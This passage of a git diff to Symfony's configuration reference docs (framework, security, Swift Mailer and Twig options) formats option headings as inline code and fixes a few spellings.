 .. _reference-assets-version-strategy:
 .. _reference-templating-version-strategy:
 
-version_strategy
-................
+``version_strategy``
+....................
 
 **type**: ``string`` **default**: ``null``
 
@@ -1453,8 +1453,8 @@ individually for each asset package:
 .. _reference-assets-json-manifest-path:
 .. _reference-templating-json-manifest-path:
 
-json_manifest_path
-..................
+``json_manifest_path``
+......................
 
 **type**: ``string`` **default**: ``null``
 
@@ -1550,11 +1550,11 @@ package:
     If you request an asset that is *not found* in the ``manifest.json`` file, the original -
     *unmodified* - asset path will be returned.
 
-templating
-~~~~~~~~~~
+``templating``
+~~~~~~~~~~~~~~
 
-hinclude_default_template
-.........................
+``hinclude_default_template``
+.............................
 
 **type**: ``string`` **default**: ``null``
 
@@ -1563,17 +1563,17 @@ is disabled. This can be either a template name or the content itself.
 
 .. seealso::
 
-    See :doc:`/templating/hinclude` for more information about hinclude.
+    See :doc:`/templating/hinclude` for more information about HInclude.
 
 .. _reference-templating-form:
 
-form
-....
+``form``
+........
 
 .. _reference-templating-form-resources:
 
-resources
-"""""""""
+``resources``
+"""""""""""""
 
 **type**: ``string[]`` **default**: ``['FrameworkBundle:Form']``
 
@@ -1645,8 +1645,8 @@ Assume you have custom global form themes in
 
 .. _reference-templating-cache:
 
-cache
-.....
+``cache``
+.........
 
 **type**: ``string``
 
@@ -1658,8 +1658,8 @@ is disabled.
     When using Twig templating, the caching is already handled by the
     TwigBundle and doesn't need to be enabled for the FrameworkBundle.
 
-engines
-.......
+``engines``
+...........
 
 **type**: ``string[]`` / ``string`` **required**
 
@@ -1668,8 +1668,8 @@ engine is configured) or an array of engines.
 
 At least one engine is required.
 
-loaders
-.......
+``loaders``
+...........
 
 **type**: ``string[]``
 
@@ -1678,13 +1678,13 @@ templating loaders. Templating loaders are used to find and load templates
 from a resource (e.g. a filesystem or database). Templating loaders must
 implement :class:`Symfony\\Component\\Templating\\Loader\\LoaderInterface`.
 
-translator
-~~~~~~~~~~
+``translator``
+~~~~~~~~~~~~~~
 
 .. _reference-translator-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -1692,8 +1692,8 @@ Whether or not to enable the ``translator`` service in the service container.
 
 .. _fallback:
 
-fallbacks
-.........
+``fallbacks``
+.............
 
 **type**: ``string|array`` **default**: ``['en']``
 
@@ -1706,8 +1706,8 @@ found.
 
 .. _reference-framework-translator-logging:
 
-logging
-.......
+``logging``
+...........
 
 **default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
 
@@ -1718,8 +1718,8 @@ locale and the ``warning`` level if there is no translation to use at all.
 
 .. _reference-framework-translator-formatter:
 
-formatter
-.........
+``formatter``
+.............
 
 **type**: ``string`` **default**: ``translator.formatter.default``
 
@@ -1732,8 +1732,8 @@ must implement the :class:`Symfony\\Component\\Translation\\Formatter\\MessageFo
 
 .. _reference-translator-paths:
 
-paths
-.....
+``paths``
+.........
 
 **type**: ``array`` **default**: ``[]``
 
@@ -1742,8 +1742,8 @@ for translation files.
 
 .. _reference-translator-default_path:
 
-default_path
-............
+``default_path``
+................
 
 .. versionadded:: 3.4
 
@@ -1754,11 +1754,11 @@ default_path
 This option allows to define the path where the application translations files
 are stored.
 
-property_access
-~~~~~~~~~~~~~~~
+``property_access``
+~~~~~~~~~~~~~~~~~~~
 
-magic_call
-..........
+``magic_call``
+..............
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -1766,31 +1766,31 @@ When enabled, the ``property_accessor`` service uses PHP's
 :ref:`magic __call() method <components-property-access-magic-call>` when
 its ``getValue()`` method is called.
 
-throw_exception_on_invalid_index
-................................
+``throw_exception_on_invalid_index``
+....................................
 
 **type**: ``boolean`` **default**: ``false``
 
 When enabled, the ``property_accessor`` service throws an exception when you
 try to access an invalid index of an array.
 
-property_info
-~~~~~~~~~~~~~
+``property_info``
+~~~~~~~~~~~~~~~~~
 
 .. _reference-property-info-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``false``
 
-validation
-~~~~~~~~~~
+``validation``
+~~~~~~~~~~~~~~
 
 .. _reference-validation-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``true`` if :ref:`form support is enabled <reference-form-enabled>`,
 ``false`` otherwise
@@ -1802,8 +1802,8 @@ settings is configured.
 
 .. _reference-validation-cache:
 
-cache
-.....
+``cache``
+.........
 
 **type**: ``string``
 
@@ -1815,23 +1815,23 @@ cache provide from the Doctrine project.
 
 .. _reference-validation-enable_annotations:
 
-enable_annotations
-..................
+``enable_annotations``
+......................
 
 **type**: ``boolean`` **default**: ``false``
 
 If this option is enabled, validation constraints can be defined using annotations.
 
-translation_domain
-..................
+``translation_domain``
+......................
 
 **type**: ``string`` **default**: ``validators``
 
 The translation domain that is used when translating validation constraint
 error messages.
 
-static_method
-.............
+``static_method``
+.................
 
 **type**: ``string | array`` **default**: ``['loadValidatorMetadata']``
 
@@ -1840,8 +1840,8 @@ metadata of the class. You can define an array of strings with the names of
 several methods. In that case, all of them will be called in that order to load
 the metadata.
 
-strict_email
-............
+``strict_email``
+................
 
 **type**: ``Boolean`` **default**: ``false``
 
@@ -1851,26 +1851,26 @@ the validator uses a simple regular expression to validate email addresses.
 
 .. _reference-validation-mapping:
 
-mapping
-.......
+``mapping``
+...........
 
 .. _reference-validation-mapping-paths:
 
-paths
-"""""
+``paths``
+"""""""""
 
 **type**: ``array`` **default**: ``[]``
 
 This option allows to define an array of paths with files or directories where
 the component will look for additional validation files.
 
-annotations
-~~~~~~~~~~~
+``annotations``
+~~~~~~~~~~~~~~~
 
 .. _reference-annotations-cache:
 
-cache
-.....
+``cache``
+.........
 
 **type**: ``string`` **default**: ``'file'``
 
@@ -1883,16 +1883,16 @@ none
 a service id
     A service id referencing a `Doctrine Cache`_ implementation
 
-file_cache_dir
-..............
+``file_cache_dir``
+..................
 
 **type**: ``string`` **default**: ``'%kernel.cache_dir%/annotations'``
 
 The directory to store cache files for annotations, in case
 ``annotations.cache`` is set to ``'file'``.
 
-debug
-.....
+``debug``
+.........
 
 **type**: ``boolean`` **default**: ``%kernel.debug%``
 
@@ -1904,13 +1904,13 @@ default value.
 
 .. _configuration-framework-serializer:
 
-serializer
-~~~~~~~~~~
+``serializer``
+~~~~~~~~~~~~~~
 
 .. _reference-serializer-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -1918,8 +1918,8 @@ Whether to enable the ``serializer`` service or not in the service container.
 
 .. _reference-serializer-cache:
 
-cache
-.....
+``cache``
+.........
 
 **type**: ``string``
 
@@ -1932,8 +1932,8 @@ has to implement the ``Doctrine\Common\Cache\Cache`` interface.
 
 .. _reference-serializer-enable_annotations:
 
-enable_annotations
-..................
+``enable_annotations``
+......................
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -1945,8 +1945,8 @@ If this option is enabled, serialization groups can be defined using annotations
 
 .. _reference-serializer-name_converter:
 
-name_converter
-..............
+``name_converter``
+..................
 
 **type**: ``string``
 
@@ -1962,8 +1962,8 @@ value.
 
 .. _reference-serializer-circular_reference_handler:
 
-circular_reference_handler
-..........................
+``circular_reference_handler``
+..............................
 
 **type** ``string``
 
@@ -1978,24 +1978,24 @@ method.
 
 .. _reference-serializer-mapping:
 
-mapping
-.......
+``mapping``
+...........
 
 .. _reference-serializer-mapping-paths:
 
-paths
-"""""
+``paths``
+"""""""""
 
 **type**: ``array`` **default**: ``[]``
 
 This option allows to define an array of paths with files or directories where
 the component will look for additional serialization files.
 
-php_errors
-~~~~~~~~~~
+``php_errors``
+~~~~~~~~~~~~~~
 
-log
-...
+``log``
+.......
 
 .. versionadded:: 3.2
 
@@ -2005,8 +2005,8 @@ log
 
 Use the application logger instead of the PHP logger for logging PHP errors.
 
-throw
-.....
+``throw``
+.........
 
 .. versionadded:: 3.2
 
@@ -2019,13 +2019,13 @@ Throw PHP errors as ``\ErrorException`` instances. The parameter
 
 .. _reference-cache:
 
-cache
-~~~~~
+``cache``
+~~~~~~~~~
 
 .. _reference-cache-app:
 
-app
-...
+``app``
+.......
 
 **type**: ``string`` **default**: ``cache.adapter.filesystem``
 
@@ -2043,48 +2043,48 @@ ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.doctrine``
 
 .. _reference-cache-system:
 
-system
-......
+``system``
+..........
 
 **type**: ``string`` **default**: ``cache.adapter.system``
 
 The cache adapter used by the ``cache.system`` service. It supports the same
 adapters available for the ``cache.app`` service.
 
-directory
-.........
+``directory``
+.............
 
 **type**: ``string`` **default**: ``%kernel.cache_dir%/pools``
 
 The path to the cache directory used by services inheriting from the
 ``cache.adapter.filesystem`` adapter (including ``cache.app``).
 
-default_doctrine_provider
-.........................
+``default_doctrine_provider``
+.............................
 
 **type**: ``string``
 
 The service name to use as your default Doctrine provider. The provider is
 available as the ``cache.default_doctrine_provider`` service.
 
-default_psr6_provider
-.....................
+``default_psr6_provider``
+.........................
 
 **type**: ``string``
 
 The service name to use as your default PSR-6 provider. It is available as
 the ``cache.default_psr6_provider`` service.
 
-default_redis_provider
-......................
+``default_redis_provider``
+..........................
 
 **type**: ``string`` **default**: ``redis://localhost``
 
 The DSN to use by the Redis provider. The provider is available as the ``cache.default_redis_provider``
 service.
 
-default_memcached_provider
-..........................
+``default_memcached_provider``
+..............................
 
 .. versionadded:: 3.3
 
@@ -2095,8 +2095,8 @@ default_memcached_provider
 The DSN to use by the Memcached provider. The provider is available as the ``cache.default_memcached_provider``
 service.
 
-pools
-.....
+``pools``
+.........
 
 **type**: ``array``
 
@@ -2159,8 +2159,8 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
 
 .. _reference-cache-pools-name:
 
-name
-""""
+``name``
+""""""""
 
 **type**: ``prototype``
 
@@ -2170,8 +2170,8 @@ Name of the pool you want to create.
 
     Your pool name must differ from ``cache.app`` or ``cache.system``.
 
-adapter
-"""""""
+``adapter``
+"""""""""""
 
 **type**: ``string`` **default**: ``cache.app``
 
@@ -2184,22 +2184,22 @@ settings from the base pool as defaults.
 
     Your service MUST implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
 
-public
-""""""
+``public``
+""""""""""
 
 **type**: ``boolean`` **default**: ``false``
 
 Whether your service should be public or not.
 
-default_lifetime
-""""""""""""""""
+``default_lifetime``
+""""""""""""""""""""
 
 **type**: ``integer``
 
 Default lifetime of your cache items in seconds.
 
-provider
-""""""""
+``provider``
+""""""""""""
 
 **type**: ``string``
 
@@ -2208,8 +2208,8 @@ use what is configured as ``default_X_provider`` under ``cache``. See the
 description of the default provider setting above for the type of adapter
 you use for information on how to specify the provider.
 
-clearer
-"""""""
+``clearer``
+"""""""""""
 
 **type**: ``string``
 
@@ -2219,8 +2219,8 @@ The cache clearer used to clear your PSR-6 cache.
 
     For more information, see :class:`Symfony\\Component\\HttpKernel\\CacheClearer\\Psr6CacheClearer`.
 
-prefix_seed
-...........
+``prefix_seed``
+...............
 
 .. versionadded:: 3.2
 
@@ -2240,8 +2240,8 @@ example, when warming caches offline).
 
 .. _reference-lock:
 
-lock
-~~~~
+``lock``
+~~~~~~~~
 
 **type**: ``string`` | ``array``
 
@@ -2250,8 +2250,8 @@ available, or to ``flock`` otherwise. Store's DSN are also allowed.
 
 .. _reference-lock-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -2260,8 +2260,8 @@ automatically set to ``true`` when one of the child settings is configured.
 
 .. _reference-lock-resources:
 
-resources
-.........
+``resources``
+.............
 
 **type**: ``array``
 
@@ -2349,8 +2349,8 @@ A list of lock stores to be created by the framework extension.
 
 .. _reference-lock-resources-name:
 
-name
-""""
+``name``
+""""""""
 
 **type**: ``prototype``
 
@@ -2368,8 +2368,8 @@ Name of the lock you want to create.
             decorates: lock.invoice.store
             arguments: ['@lock.invoice.retry.till.save.store.inner', 100, 50]
 
-workflows
-~~~~~~~~~
+``workflows``
+~~~~~~~~~~~~~
 
 **type**: ``array``
 
@@ -2420,8 +2420,8 @@ A list of workflows to be created by the framework extension:
 
 .. _reference-workflows-enabled:
 
-enabled
-.......
+``enabled``
+...........
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -2430,31 +2430,31 @@ automatically set to ``true`` when one of the child settings is configured.
 
 .. _reference-workflows-name:
 
-name
-....
+``name``
+........
 
 **type**: ``prototype``
 
 Name of the workflow you want to create.
 
-audit_trail
-"""""""""""
+``audit_trail``
+"""""""""""""""
 
 **type**: ``bool``
 
 If set to ``true``, the :class:`Symfony\\Component\\Workflow\\EventListener\\AuditTrailListener`
 will be enabled.
 
-initial_place
-"""""""""""""
+``initial_place``
+"""""""""""""""""
 
 **type**: ``string`` **default**: ``null``
 
 One of the ``places`` or ``null``. If not null and the supported object is not
 already initialized via the workflow, this place will be set.
 
-marking_store
-"""""""""""""
+``marking_store``
+"""""""""""""""""
 
 **type**: ``array``
 
@@ -2465,28 +2465,28 @@ Each marking store can define any of these options:
 * ``type`` (**type**: ``string`` **possible values**: ``'multiple_state'`` or
   ``'single_state'``)
 
-places
-""""""
+``places``
+""""""""""
 
 **type**: ``array``
 
 All available places (**type**: ``string``) for the workflow configuration.
 
-supports
-""""""""
+``supports``
+""""""""""""
 
 **type**: ``string`` | ``array``
 
 The FQCN (fully-qualified class name) of the object supported by the workflow
 configuration or an array of FQCN if multiple objects are supported.
 
-support_strategy
-""""""""""""""""
+``support_strategy``
+""""""""""""""""""""
 
 **type**: ``string``
 
-transitions
-"""""""""""
+``transitions``
+"""""""""""""""
 
 **type**: ``array``
 
@@ -2502,8 +2502,8 @@ Each marking store can define any of these options:
 
 .. _reference-workflows-type:
 
-type
-""""
+``type``
+""""""""
 
 **type**: ``string`` **possible values**: ``'workflow'`` or ``'state_machine'``
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 074bb55f68f..99eaa1e5f93 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -45,16 +45,16 @@ separate articles:
 * `providers`_
 * `role_hierarchy`_
 
-access_denied_url
-~~~~~~~~~~~~~~~~~
+``access_denied_url``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
 Defines the URL where the user is redirected after a ``403`` HTTP error (unless
 you define a custom access deny handler). Example: ``/no-permission``
 
-always_authenticate_before_granting
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``always_authenticate_before_granting``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -62,16 +62,16 @@ If ``true``, the user is asked to authenticate before each call to the
 ``isGranted()`` method in services and controllers or ``is_granted()`` from
 templates.
 
-erase_credentials
-~~~~~~~~~~~~~~~~~
+``erase_credentials``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
 If ``true``, the ``eraseCredentials()`` method of the user object is called
 after authentication.
 
-hide_user_not_found
-~~~~~~~~~~~~~~~~~~~
+``hide_user_not_found``
+~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -83,8 +83,8 @@ If ``false``, the exception thrown is of type
 :class:`Symfony\\Component\\Security\\Core\\Exception\\UsernameNotFoundException`
 and it includes the given not found username.
 
-session_fixation_strategy
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``session_fixation_strategy``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``SessionAuthenticationStrategy::MIGRATE``
 
@@ -102,8 +102,8 @@ The possible values of this option are:
   The entire session is regenerated, so the session ID is updated but all the
   other session attributes are lost.
 
-access_control
---------------
+``access_control``
+------------------
 
 Defines the security protection of the URLs of your application. It's used for
 example to trigger the user authentication when trying to access to the backend
@@ -111,8 +111,8 @@ and to allow anonymous users to the login form page.
 
 This option is explained in detail in :doc:`/security/access_control`.
 
-acl
----
+``acl``
+-------
 
 This option is used to define `ACL (Access Control List)`_, which allow to
 associate a list of permissions to an object. This option is deprecated since
@@ -122,8 +122,8 @@ Instead of using ACLs, Symfony recommends :doc:`security voters </security/voter
 which provide the same granular security access without the complication of ACLs.
 If you still want to implement ACLs, check out the `Symfony ACL Bundle`_.
 
-encoders
---------
+``encoders``
+------------
 
 This option defines the algorithm used to *encode* the password of the users.
 Although Symfony calls it *"password encoding"* for historical reasons, this is
@@ -248,7 +248,7 @@ password) so you don't have to deal with it.
 
 .. _reference-security-bcrypt:
 
-Using the BCrypt Password Encoder
+Using the Bcrypt Password Encoder
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It uses the `bcrypt password hashing function`_ and it's recommended to use it
@@ -269,7 +269,7 @@ used back when they were encoded.
 
 .. tip::
 
-    A simple technique to make tests much faster when using BCrypt is to set
+    A simple technique to make tests much faster when using bcrypt is to set
     the cost to ``4``, which is the minimum value allowed, in the ``test``
     environment configuration.
 
@@ -282,8 +282,8 @@ Using the `PBKDF2`_ encoder is no longer recommended since PHP added support for
 Argon2i and bcrypt. Legacy application still using it are encouraged to upgrade
 to those newer encoding algorithms.
 
-firewalls
----------
+``firewalls``
+-------------
 
 This is arguably the most important option of the security config file. It
 defines the authentication mechanism used for each URL (or URL pattern) of your
@@ -393,8 +393,8 @@ When using the ``form_login`` authentication listener beneath a firewall,
 there are several common options for configuring the "form login" experience.
 For even more details, see :doc:`/security/form_login`.
 
-login_path
-..........
+``login_path``
+..............
 
 **type**: ``string`` **default**: ``/login``
 
@@ -402,12 +402,12 @@ This is the route or path that the user will be redirected to (unless ``use_forw
 is set to ``true``) when they try to access a protected resource but isn't
 fully authenticated.
 
-This path **must** be accessible by a normal, un-authenticated user, else
+This path **must** be accessible by a normal, unauthenticated user, else
 you may create a redirect loop. For details, see
 ":ref:`Avoid Common Pitfalls <security-common-pitfalls>`".
 
-check_path
-..........
+``check_path``
+..............
 
 **type**: ``string`` **default**: ``/login_check``
 
@@ -418,16 +418,16 @@ URL and process the submitted login credentials.
 Be sure that this URL is covered by your main firewall (i.e. don't create
 a separate firewall just for ``check_path`` URL).
 
-use_forward
-...........
+``use_forward``
+...............
 
 **type**: ``boolean`` **default**: ``false``
 
 If you'd like the user to be forwarded to the login form instead of being
 redirected, set this option to ``true``.
 
-username_parameter
-..................
+``username_parameter``
+......................
 
 **type**: ``string`` **default**: ``_username``
 
@@ -435,8 +435,8 @@ This is the field name that you should give to the username field of your
 login form. When you submit the form to ``check_path``, the security system
 will look for a POST parameter with this name.
 
-password_parameter
-..................
+``password_parameter``
+......................
 
 **type**: ``string`` **default**: ``_password``
 
@@ -444,8 +444,8 @@ This is the field name that you should give to the password field of your
 login form. When you submit the form to ``check_path``, the security system
 will look for a POST parameter with this name.
 
-post_only
-.........
+``post_only``
+.............
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -455,32 +455,32 @@ request to the ``check_path`` URL.
 
 **Options Related to Redirecting after Login**
 
-always_use_default_target_path
-..............................
+``always_use_default_target_path``
+..................................
 
 **type**: ``boolean`` **default**: ``false``
 
 If ``true``, users are always redirected to the default target path regardless
 of the previous URL that was stored in the session.
 
-default_target_path
-....................
+``default_target_path``
+........................
 
 **type**: ``string`` **default**: ``/``
 
 The page users are redirected to when there is no previous page stored in the
 session (for example, when the users browse the login page directly).
 
-target_path_parameter
-.....................
+``target_path_parameter``
+.........................
 
 **type**: ``string`` **default**: ``_target_path``
 
 When using a login form, if you include an HTML element to set the target path,
 this option lets you change the name of the HTML element itself.
 
-use_referer
-...........
+``use_referer``
+...............
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -496,8 +496,8 @@ redirected to the ``default_target_path`` to avoid a redirection loop.
 
 **Options Related to Logout Configuration**
 
-invalidate_session
-~~~~~~~~~~~~~~~~~~
+``invalidate_session``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -509,8 +509,8 @@ The ``invalidate_session`` option allows to redefine this behavior. Set this
 option to ``false`` in every firewall and the user will only be logged out from
 the current firewall and not the other ones.
 
-logout_on_user_change
-~~~~~~~~~~~~~~~~~~~~~
+``logout_on_user_change``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -528,8 +528,8 @@ The user is considered to have changed when the user class implements
 required by the :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`
 (like the username, password or salt) changes.
 
-success_handler
-~~~~~~~~~~~~~~~
+``success_handler``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``'security.logout.success_handler'``
 
@@ -557,15 +557,15 @@ You can authenticate to an LDAP server using the LDAP variants of the
 Both authentication providers have the same arguments as their normal
 counterparts, with the addition of two configuration keys:
 
-service
-.......
+``service``
+...........
 
 **type**: ``string`` **default**: ``ldap``
 
 This is the name of your configured LDAP client.
 
-dn_string
-.........
+``dn_string``
+.............
 
 **type**: ``string`` **default**: ``{username}``
 
@@ -574,8 +574,8 @@ placeholder will be replaced with the user-provided value (their login).
 Depending on your LDAP server's configuration, you may need to override
 this value.
 
-query_string
-............
+``query_string``
+................
 
 **type**: ``string`` **default**: ``null``
 
@@ -748,8 +748,8 @@ a ``user_checker`` option to define the service used to perform those checks.
 
 Learn more about user checkers in :doc:`/security/user_checkers`.
 
-providers
----------
+``providers``
+-------------
 
 This options defines how the application users are loaded (from a database,
 an LDAP server, a configuration file, etc.) Read the following articles to learn
@@ -760,8 +760,8 @@ more about each of those providers:
 * :ref:`Load users from a configuration file <security-user-providers>`
 * :doc:`Create your own user provider </security/custom_provider>`
 
-role_hierarchy
---------------
+``role_hierarchy``
+------------------
 
 Instead of associating many roles to users, this option allows you to define
 role inheritance rules by creating a role hierarchy, as explained in
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index 6af38c14f99..dd6033438f2 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -4,7 +4,7 @@
 Mailer Configuration Reference (SwiftmailerBundle)
 ==================================================
 
-The SwiftmailerBundle integrates the Swiftmailer library in Symfony applications
+The SwiftmailerBundle integrates the Swift Mailer library in Symfony applications
 to :doc:`send emails </email>`. All these options are configured under the
 ``swiftmailer`` key in your application configuration.
 
@@ -55,112 +55,112 @@ Configuration
 * `url`_
 * `username`_
 
-url
-~~~
+``url``
+~~~~~~~
 
 **type**: ``string``
 
-The entire SwiftMailer configuration using a DSN-like URL format.
+The entire Swift Mailer configuration using a DSN-like URL format.
 
 Example: ``smtp://user:pass@host:port/?timeout=60&encryption=ssl&auth_mode=login&...``
 
-transport
-~~~~~~~~~
+``transport``
+~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``smtp``
 
 The exact transport method to use to deliver emails. Valid values are:
 
-* smtp
-* gmail (see :doc:`/email/gmail`)
-* mail (deprecated in SwiftMailer since version 5.4.5)
-* sendmail
-* null (same as setting `disable_delivery`_ to ``true``)
+* ``smtp``
+* ``gmail`` (see :doc:`/email/gmail`)
+* ``mail`` (deprecated in Swift Mailer since version 5.4.5)
+* ``sendmail``
+* ``null`` (same as setting `disable_delivery`_ to ``true``)
 
-username
-~~~~~~~~
+``username``
+~~~~~~~~~~~~
 
 **type**: ``string``
 
 The username when using ``smtp`` as the transport.
 
-password
-~~~~~~~~
+``password``
+~~~~~~~~~~~~
 
 **type**: ``string``
 
 The password when using ``smtp`` as the transport.
 
-command
-~~~~~~~~
+``command``
+~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``/usr/sbin/sendmail -bs``
 
 Command to be executed by ``sendmail`` transport.
 
-host
-~~~~
+``host``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``localhost``
 
 The host to connect to when using ``smtp`` as the transport.
 
-port
-~~~~
+``port``
+~~~~~~~~
 
 **type**: ``string`` **default**: 25 or 465 (depending on `encryption`_)
 
 The port when using ``smtp`` as the transport. This defaults to 465 if encryption
 is ``ssl`` and 25 otherwise.
 
-timeout
-~~~~~~~
+``timeout``
+~~~~~~~~~~~
 
 **type**: ``integer``
 
 The timeout in seconds when using ``smtp`` as the transport.
 
-source_ip
-~~~~~~~~~
+``source_ip``
+~~~~~~~~~~~~~
 
 **type**: ``string``
 
 The source IP address when using ``smtp`` as the transport.
 
-local_domain
-~~~~~~~~~~~~
-
-**type**: ``string``
+``local_domain``
+~~~~~~~~~~~~~~~~
 
 .. versionadded:: 2.4.0
 
     The ``local_domain`` option was introduced in SwiftMailerBundle 2.4.0.
 
+**type**: ``string``
+
 The domain name to use in ``HELO`` command.
 
-encryption
-~~~~~~~~~~
+``encryption``
+~~~~~~~~~~~~~~
 
 **type**: ``string``
 
 The encryption mode to use when using ``smtp`` as the transport. Valid values
 are ``tls``, ``ssl``, or ``null`` (indicating no encryption).
 
-auth_mode
-~~~~~~~~~
+``auth_mode``
+~~~~~~~~~~~~~
 
 **type**: ``string``
 
 The authentication mode to use when using ``smtp`` as the transport. Valid
 values are ``plain``, ``login``, ``cram-md5``, or ``null``.
 
-spool
-~~~~~
+``spool``
+~~~~~~~~~
 
 For details on email spooling, see :doc:`/email/spool`.
 
-type
-....
+``type``
+........
 
 **type**: ``string`` **default**: ``file``
 
@@ -168,16 +168,16 @@ The method used to store spooled messages. Valid values are ``memory`` and
 ``file``. A custom spool should be possible by creating a service called
 ``swiftmailer.spool.myspool`` and setting this value to ``myspool``.
 
-path
-....
+``path``
+........
 
 **type**: ``string`` **default**: ``%kernel.cache_dir%/swiftmailer/spool``
 
 When using the ``file`` spool, this is the path where the spooled messages
 will be stored.
 
-sender_address
-~~~~~~~~~~~~~~
+``sender_address``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -185,19 +185,19 @@ If set, all messages will be delivered with this address as the "return
 path" address, which is where bounced messages should go. This is handled
 internally by Swift Mailer's ``Swift_Plugins_ImpersonatePlugin`` class.
 
-antiflood
-~~~~~~~~~
+``antiflood``
+~~~~~~~~~~~~~
 
-threshold
-.........
+``threshold``
+.............
 
 **type**: ``integer`` **default**: ``99``
 
 Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of emails
 to send before restarting the transport.
 
-sleep
-.....
+``sleep``
+.........
 
 **type**: ``integer`` **default**: ``0``
 
@@ -206,8 +206,8 @@ to sleep for during a transport restart.
 
 .. _delivery-address:
 
-delivery_addresses
-~~~~~~~~~~~~~~~~~~
+``delivery_addresses``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``array``
 
@@ -223,8 +223,8 @@ that all emails sent during development go to one or more some specific accounts
 This uses ``Swift_Plugins_RedirectingPlugin``. Original recipients are available
 on the ``X-Swift-To``, ``X-Swift-Cc`` and ``X-Swift-Bcc`` headers.
 
-delivery_whitelist
-~~~~~~~~~~~~~~~~~~
+``delivery_whitelist``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``array``
 
@@ -234,16 +234,16 @@ of these patterns will be delivered like normal, as well as being sent to
 :ref:`How to Work with Emails during Development <sending-to-a-specified-address-but-with-exceptions>`
 article.
 
-disable_delivery
-~~~~~~~~~~~~~~~~
+``disable_delivery``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
 If true, the ``transport`` will automatically be set to ``null`` and no
 emails will actually be delivered.
 
-logging
-~~~~~~~
+``logging``
+~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``%kernel.debug%``
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index c992686fcf6..5c18bef30c4 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -52,8 +52,8 @@ Configuration
 * `paths`_
 * `strict_variables`_
 
-auto_reload
-~~~~~~~~~~~
+``auto_reload``
+~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``%kernel.debug%``
 
@@ -61,8 +61,8 @@ If ``true``, whenever a template is rendered, Symfony checks first if its source
 code has changed since it was compiled. If it has changed, the template is
 compiled again automatically.
 
-autoescape
-~~~~~~~~~~
+``autoescape``
+~~~~~~~~~~~~~~
 
 **type**: ``boolean`` or ``string`` **default**: ``'name'``
 
@@ -87,8 +87,8 @@ templates and ``js`` for ``*.js.html`` templates).
     See `autoescape_service`_ and `autoescape_service_method`_ to define your
     own escaping strategy.
 
-autoescape_service
-~~~~~~~~~~~~~~~~~~
+``autoescape_service``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -100,16 +100,16 @@ for HTML and the contents of ``*.js.twig`` are escaped for JavaScript.
 This option allows to define the Symfony service which will be used to determine
 the default escaping applied to the template.
 
-autoescape_service_method
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``autoescape_service_method``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
 If ``autoescape_service`` option is defined, then this option defines the method
 called to determine the default escaping applied to the template.
 
-base_template_class
-~~~~~~~~~~~~~~~~~~~
+``base_template_class``
+~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``'Twig\Template'``
 
@@ -118,8 +118,8 @@ contents. This option defines the base class from which all the template classes
 extend. Using a custom base template is discouraged because it will make your
 application harder to maintain.
 
-cache
-~~~~~
+``cache``
+~~~~~~~~~
 
 **type**: ``string`` | ``false`` **default**: ``'%kernel.cache_dir%/twig'``
 
@@ -132,47 +132,47 @@ is not recommended; not even in the ``dev`` environment, because the
 ``auto_reload`` option ensures that cached templates which have changed get
 compiled again.
 
-charset
-~~~~~~~
+``charset``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``'%kernel.charset%'``
 
